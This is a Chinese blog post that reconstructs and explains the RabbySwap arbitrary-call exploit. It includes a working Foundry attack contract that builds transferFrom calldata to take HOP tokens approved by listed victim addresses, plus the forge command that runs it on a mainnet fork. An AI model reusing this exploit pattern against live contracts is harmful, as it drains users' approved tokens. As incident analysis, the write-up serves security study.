RabbyWallet被盗的复现与简析

阅读本文之前,可以先阅读下面这篇文章,本文是基于下面这篇文章提供的材料对RabbyWallet的攻击进行复现和分析的。

https://learnblockchain.cn/article/4881

选取的攻击交易为

https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038

这笔交易试图盗取6名用户的HOP代币资产,其中2人因为approve为0逃过一劫,另外4人的HOP代币全部被转走。

1 RabbySwap的正常执行逻辑

我们先来看一个正常的RabbySwap交易。

https://etherscan.io/tx/0x576e6e447a2ca0071451de056e0a03395fb11d26dd7c4fde566001785552e7c0

post image

大家可以看一下图中被我圈起来的部分,ZeroEx::sellToUniswap.

因为RabbySwap本身并没有流动池,所以它其实只是一个中转站,它还需要在自己的swap函数中调用其他dex的接口。在上面的例子中,调用了0x的接口,然后0x又去调用了sushi。

RabbySwap的代码并没有开源,不过我们可以在它的一份代码审计报告中看到一些代码片段。巧合的是,其中恰好有个片段是_swap(),它应该就是swap接口的核心逻辑所在。

https://github.com/RabbyHub/Rabby/blob/develop/docs/PeckShield-Audit-Report-RabbyRouter-v1.0.pdf

post image
post image
post image

其中的关键是我在图中圈起来的部分——dexRouter.functionCallWithValue,应该就是这个函数完成了对外部dex的调用完成了swap过程。

functionCallWithValue是openzeppelin的库函数,最终会被转为dexRouter.call{value: value}(data)

function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value,
    string memory errorMessage
) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    require(isContract(target), "Address: call to non-contract");

    (bool success, bytes memory returndata) = target.call{value: value}(data);
    return verifyCallResult(success, returndata, errorMessage);
}

这是一个可怕的操作,用户可以通过调整swap函数的入参dexRouter和data,让这里随意调用任意合约的任意方法,正是这里给了攻击者可乘之机。

2 RabbySwap的攻击交易

https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038

攻击交易中多次调用了Rabby的swap接口,我们只看其中一个。

post image

和上面的正常交易对比,最明显的不同是ZeroEx::sellToUniswap被替换成了HOPToken::transferFrom,本来是应该调用0x的兑换接口完成token兑换,这里却调用HOP代币合约的transferFrom函数,把HOP转到了黑客的钱包。这就是任何合约函数调用的可怕之处,不需要获取任何管理员权限,轻松偷到了代币。

根据链上交易的执行过程,我写了如下代码重现了黑客的这一攻击交易。

pragma solidity ^0.8.0;
import "forge-std/Script.sol";

contract TestScript is Script {

    function setUp() public {
    }

    function run() public {
        AttackContract attackInstance = new AttackContract();

        uint256[] memory victims = new uint256Unsupported embed;
        victims[0] = 0x0000000000000000000000000753cfbc797abfce05abaacbb1e6ae032feb5f1d;
        victims[1] = 0x0000000000000000000000001eef1739bd82968725d9919bceb11ed9616a4da5; // allowance = 0
        victims[2] = 0x0000000000000000000000007d7abdce70d3b346b2cae671b450792d73785b38;
        victims[3] = 0x0000000000000000000000008e283b2383d0e4c68d064438e9113a48b467ec40;
        victims[4] = 0x0000000000000000000000009a74ec99bd88eca680485da7f32fca05af375dcf; // allowance = 0
        victims[5] = 0x000000000000000000000000eeff1559b2876e90a6cf341ac4d37e84dba5e8c5;
        uint256 hopTokenAddr = 0x000000000000000000000000c5102fe9359fd9a28f877a67e36b0f050d81a3cc;

        attackInstance.batchAttack(victims, hopTokenAddr);
    }
}

contract AttackContract {
    address constant rabby = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
    address constant receiver = 0x9682f31b3f572988f93C2B8382586ca26A866475; // attacker's EOA address

    function batchAttack(uint256[] calldata victims, uint256 token) external {
        for (uint i = 0; i < victims.length; i++) {
            attack(address(uint160(victims[i])), address(uint160(token)));
        }
    }

    function attack(address victim, address token) internal {
        address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
        uint256 amount = 0;
        address destToken = address(this);
        uint256 minReturn = 4660;
        address dexRouter = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
        address dexSpender = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;

        uint256 amountOwned = IERC20(token).balanceOf(victim);
        uint256 amountApproved = IERC20(token).allowance(victim, rabby);
        if (amountOwned == 0 || amountApproved == 0) return;
        bytes memory data;
        // avoid stack too deep
        {
            bytes4 transferSig = 0x23b872dd;
            uint256 victimAddr = uint160(victim);
            uint256 attackerAddr = uint160(receiver);
            uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;

            // b1-b7 is useless in attack transaction
            bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
            bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
            bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
            bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
            bytes4 b5 = 0x869584cd;
            bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
            bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;

            bytes memory dataTemp = abi.encodePacked(transferSig, victimAddr, attackerAddr, transferAmount,
               b1, b2, b3, b4, b5, b6, b7);
            data = dataTemp;
        }
        uint256 deadline = 1665403089111;
        RabbySwap(rabby).swap(srcToken, amount, destToken, minReturn, dexRouter, dexSpender, data, deadline);
    }

    function balanceOf(address addr) public returns(uint256) {
        return 100000000000000000000;
    }
    function transfer(address to, uint256 amount) external returns (bool) {
        return true;
    }
}

interface IERC20 {
    function balanceOf(address addr) external view returns(uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

interface RabbySwap {
    function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender,
                  bytes calldata data, uint256 deadline) external;
}

运行forge script script/Test.s.sol --fork-url $ETH_RPC_URL --fork-block-number 15724450 -vvvv --tc TestScript即可运行:

post image

其中核心函数是function attack(address victim, address token),这个函数构造了对transferFrom的调用。关键是下面几行代码:

transferSig是bytes4(keccak256(”transferFrom(address,address,uint256)”).

victimAddr、attackerAddr、transferAmount是transferFrom的三个参数,分别是受害者地址,黑客地址、转移代币数额。其中转移代币数额可以通过受害者拥有的代币数和approve的代币数取最小值获得,这两个数字都可以通过HOP合约查到。

uint256 amountOwned = IERC20(token).balanceOf(victim);
uint256 amountApproved = IERC20(token).allowance(victim, rabby);
if (amountOwned == 0 || amountApproved == 0) return;
bytes memory data;
// avoid stack too deep
{
  bytes4 transferSig = 0x23b872dd;
  uint256 victimAddr = uint160(victim);
  uint256 attackerAddr = uint160(receiver);
  uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
  ......
}

下面这些变量,其中b1-b4在正常交易中是用来指定swap路径的,b5-b7我没看出来是做什么的。

不过在攻击交易中,这些变量并没有发挥作用,实际上,如果把它们去掉,攻击交易依然可以正常执行。

// b1-b7 is useless in attack transaction
bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
bytes4 b5 = 0x869584cd;
bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;

在Rabby的的函数中,最后还有一些简单的校验,判断换出的token数目有没有超过最小额。然后会把换出来的代币发送给调用者。攻击合约还需要做一些修改通过这些校验和后续发送操作。

post image

攻击交易实际上是假装自己在用USDT换另一种token,可能是为了方便,黑客把这个token地址就设定为这个合约本身,然后为这个合约实现了balanceOf和transfer函数,只要让balanceOf返回一个很大的数字、transfer函数返回true就可以轻松通过校验。

function attack(address victim, address token) internal {
    address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
    uint256 amount = 0;
    address destToken = address(this);
    uint256 minReturn = 4660;
    ......
}

function balanceOf(address addr) public returns(uint256) {
    return 100000000000000000000;
}

function transfer(address to, uint256 amount) external returns (bool) {
    return true;
}

3 总结与困惑

认真分析攻击交易之后可以发现,整个攻击过程简单到让人瞠目,没有盗取管理员权限的花哨操作,只是简单的构造了swap接口的入参。究其原因,还是因为RabbySwap的合约中包含了一个非常危险的任何合约函数调用,且几乎没有做任何有效的校验。

让我感到困惑的是,为什么这样明显有风险的代码会被部署上链,如果真的是审计没有发现,对审计公司也算是个事故吧?